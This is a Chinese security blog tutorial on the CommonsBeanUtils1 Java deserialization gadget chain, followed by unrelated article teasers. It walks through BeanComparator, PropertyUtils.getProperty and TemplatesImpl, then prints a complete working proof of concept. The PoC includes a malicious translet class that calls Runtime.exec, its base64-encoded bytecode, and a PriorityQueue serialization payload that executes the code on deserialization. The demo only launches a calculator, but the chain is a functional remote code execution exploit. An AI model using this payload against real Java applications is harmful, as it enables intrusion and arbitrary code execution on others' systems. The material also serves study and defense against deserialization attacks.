【java安全】CommonsBeanUtils1

news/2024/11/24 9:03:15/

文章目录

    • 【java安全】CommonsBeanUtils1
      • 前言
      • Apache Commons Beanutils
      • BeanComparator
      • 如何调用`BeanComparator#compare()`方法?
      • 构造POC
        • 完整POC
      • 调用链

【java安全】CommonsBeanUtils1

前言

在之前我们学习了java.util.PriorityQueue,它是java中的一个优先队列,队列的每个元素都有优先级,在反序列化这个对象的时候,为了保证队列顺序,会将队列中的元素进行排序,从而调用了java.io.Comparator接口的compare()方法,进而执行恶意反序列化操作

我们能不能找到除了之前提到的TransformingComparator类以外的其他可以利用的java.util.Comparator对象?我们需要了解一下Commons Beanuitls

Apache Commons Beanutils

在找可用的Comparator之前,我们需要知道一下Apache Commons Beanutils,它是Apache Commons工具集下的一个项目,提供了对java类对象(javaBean)的一些操作方法

什么是javaBean?

final public class Cat { private String name = "catalina";public String getName() { return name;}public void setName(String name) { this.name = name;}
}

javaBean就是一种标准化的java对象,成员变量为private,提供了对成员变量的getter()setter()方法,符合驼峰命名法

Commons Beanutils中提供了一个静态方法PropertyUtils.getProperty()

public static Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {return PropertyUtilsBean.getInstance().getProperty(bean, name);}

这个方法可以可以调用任意javaBean对象的getter()方法

例如:

PropertyUtils.getProperty(new Cat(),'name')

这个方法会调用Cat对象的getName()方法,使用该方法可以调用任意对象的getter方法

BeanComparator

我们上文说想要找到其他的实现java.util.Comparator的类

commons-beanutils中有一个BeanComparator类:

先看看构造方法:

public BeanComparator() {this((String)null);}public BeanComparator(String property) {this(property, ComparableComparator.getInstance());
}public BeanComparator(String property, Comparator<?> comparator) {this.setProperty(property);if (comparator != null) {this.comparator = comparator;} else {this.comparator = ComparableComparator.getInstance();}}

构造方法可以为:property属性赋值,这个很重要后面会用到

然后看看compare()方法:

package org.apache.commons.beanutils;public class BeanComparator<T> implements Comparator<T>, Serializable {public int compare(T o1, T o2) {if (this.property == null) {return this.internalCompare(o1, o2);} else {try {Object value1 = PropertyUtils.getProperty(o1, this.property);Object value2 = PropertyUtils.getProperty(o2, this.property);return this.internalCompare(value1, value2);} catch (IllegalAccessException var5) {throw new RuntimeException("IllegalAccessException: " + var5.toString());} catch (InvocationTargetException var6) {throw new RuntimeException("InvocationTargetException: " + var6.toString());} catch (NoSuchMethodException var7) {throw new RuntimeException("NoSuchMethodException: " + var7.toString());}}}}

我们注意一下它的compare(T o1, T o2)方法,当property==null时,不会调用PropertyUtils.getProperty()

if (this.property == null) {return this.internalCompare(o1, o2);
}

PropertyUtils.getProperty()

Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);

它会去调用o1、o2对象的名为property的属性值的getter方法

这里很重要,加入o1TemplatesImpl对象的话这里是可以构造反序列化利用链的

我们先来回顾一下前面TemplatesImpl中的调用链:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

这里的getOutputProperties()就是getter方法的形式,并且它会调用newTransformer()触发恶意字节码执行。因此,如果我们PropertyUtils.getProperty(o1, this.property)第一个形参传入:TemplatesImpl对象,并且第二个参数property传入值outputProperties

那么就会调用TemplatesImpl#getOutputProperties()方法了

我们可以简单测试一下:

我们先构造一个恶意字节码的类HelloTemplatesImpl:(注意需要继承AbstractTranslet,这样才有效)

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;public class HelloTemplatesImpl extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public HelloTemplatesImpl() throws IOException {Runtime.getRuntime().exec("calc"); //构造对象会弹出计算器}}

我们将其编译为字节码并且base64编码一下

然后编写利用链:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field;
import java.util.Base64;public class CommonsBeanUtils1 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes());TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{bytes});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());BeanComparator beanComparator = new BeanComparator("outputProperties");beanComparator.compare(obj,null);}
}

image-20230802163106973

确实弹出了计算器,说明这是对的

如何调用BeanComparator#compare()方法?

我们这里可以继续使用PriorityQueue类,它的readObject()方法可以触发排序等函数,最终调用comparator变量的compare() 方法,并且形参传入TemplatesImpl对象(注意讲BeanComparatorproperty设置为outputProperties

PriorityQueue#siftDownUsingComparator()

comparator.compare((E) c, (E) queue[right]) > 0)

当反序列化时调用PriorityQueue#readObject()方法,最终调用comparator#compare(),然后调用TemplatesImpl#getOutputProperties()方法

构造POC

首先常规构造TemplatesImpl对象:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后构造BeanComparator类,我们先不为property赋值,防止提前调用PropertyUtils.getProperty():

BeanComparator comparator = new BeanComparator();

然后创建PriorityQueue,队列大小为2,将comparator成员变量赋值为BeanComparator对象:

PriorityQueue queue = new PriorityQueue(2, comparator);

然后添加2个无关紧要的值进queue中(之所以这么做是因为防止add()提前触发comparator.compare())

queue.add(1);
queue.add(1);

添加完成之后我们再将queue的值(用来给compare方法传入TemplatesImpl对象)以及BeanComparatorproperty赋值为outputProperties

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

完整POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;public class CommonsBeanUtils1 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes());TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{bytes});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());BeanComparator comparator = new BeanComparator();PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(1);queue.add(1);setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{obj, obj});ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object) ois.readObject();}
}

调用可以弹出计算器:

image-20230802173336884

调用链

PriorityQueue#readObject()heapify();siftDown(i, (E) queue[i]);siftDownUsingComparator(k, x);BeanComparator#compare(TemplatesImplObj,)PropertyUtils.getProperty(TemplatesImplObj, "outputProperties")TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer()...defindClass()

http://www.ppmy.cn/news/998747.html

相关文章

dev控件gridControl,gridview中添加合计

需求&#xff1a;在合并结账查询中&#xff0c;双击每一条结账出现这次结账对应的结算明细&#xff1a; 弹出的页面包括&#xff1a;结算日期&#xff0c;ID&#xff0c;姓名&#xff0c;费别&#xff0c;预交金收入&#xff0c;结算金额&#xff0c;收据号&#xff0c;合计&a…

多多买菜自提点的服务标准

作者&#xff1a;朱金灿 来源&#xff1a;clever101的专栏 为什么大多数人学不会人工智能编程&#xff1f;>>> 多多买菜是我经常使用的买菜方式&#xff0c;优点是取货方便&#xff0c;退货退款也方便。用得多了&#xff0c;跟自提点接触得多&#xff0c;从中也观察…

基于“RWEQ+”集成技术在土壤风蚀模拟与风蚀模数估算、变化归因分析中的应用

土壤风蚀是一个全球性的环境问题。中国是世界上受土壤风蚀危害最严重的国家之一&#xff0c;土壤风蚀是中国干旱、半干旱及部分湿润地区土地荒漠化的首要过程。中国风蚀荒漠化面积达160.74104km2&#xff0c;占国土总面积的16.7%&#xff0c;严重影响这些地区的资源开发和社会经…

Oracle获取创建对象的DDL脚本

Oracle获取创建对象的DDL脚本 Oracle获取创建对象的DDL脚本查看 dbms_metadata.get_ddl()函数的定义 Oracle获取创建对象的DDL脚本 例如&#xff0c;对tzq schema下的表 test2&#xff0c;查看DDL脚本的SQL如下&#xff1a; SELECT SELECT dbms_metadata.get_ddl(upper(table…

Elasticsearch:语义搜索 - Semantic Search in python

当 OpenAI 于 2022 年 11 月发布 ChatGPT 时&#xff0c;引发了人们对人工智能和机器学习的新一波兴趣。 尽管必要的技术创新已经出现了近十年&#xff0c;而且基本原理的历史甚至更早&#xff0c;但这种巨大的转变引发了各种发展的“寒武纪大爆炸”&#xff0c;特别是在大型语…

若依框架 - 对二次封装数据分页

LsDistrictController /*** 查询地段列表*/ApiOperation("查询地段列表")GetMapping("/list")public TableDataInfo list(LsDistrict lsDistrict) {startPage();Map<String, List> map lsDistrictService.selectLsDistrictList(lsDistrict);if (Col…

H.265/HEVC 速率控制

文章目录 速率控制视频编码速率控制速率控制的基本原理缓冲机制速率控制技术 H.265/HEVC 速率控制1. 目标比特分配2. 量化参数确定 速率控制 目前实际的视频编码率失真优化过程包括两部分&#xff1a;速率控制部分将视频序列分成编码单元&#xff0c;考虑编码单元的相关性通过…

[2023杭电多校5 1005] Snake (生成函数)

题意 有 n n n 个标号为 1 , 2 , ⋯ , n 1,2,\cdots,n 1,2,⋯,n 的球&#xff0c;放到 m m m 个无标号盒子 (盒内顺序有标号)&#xff0c;且每个盒子球数不超过 k k k&#xff0c;求方案数对 998 244 353 998\,244\,353 998244353 取模。 1 ≤ m , k ≤ n ≤ 1 0 6 1 \le…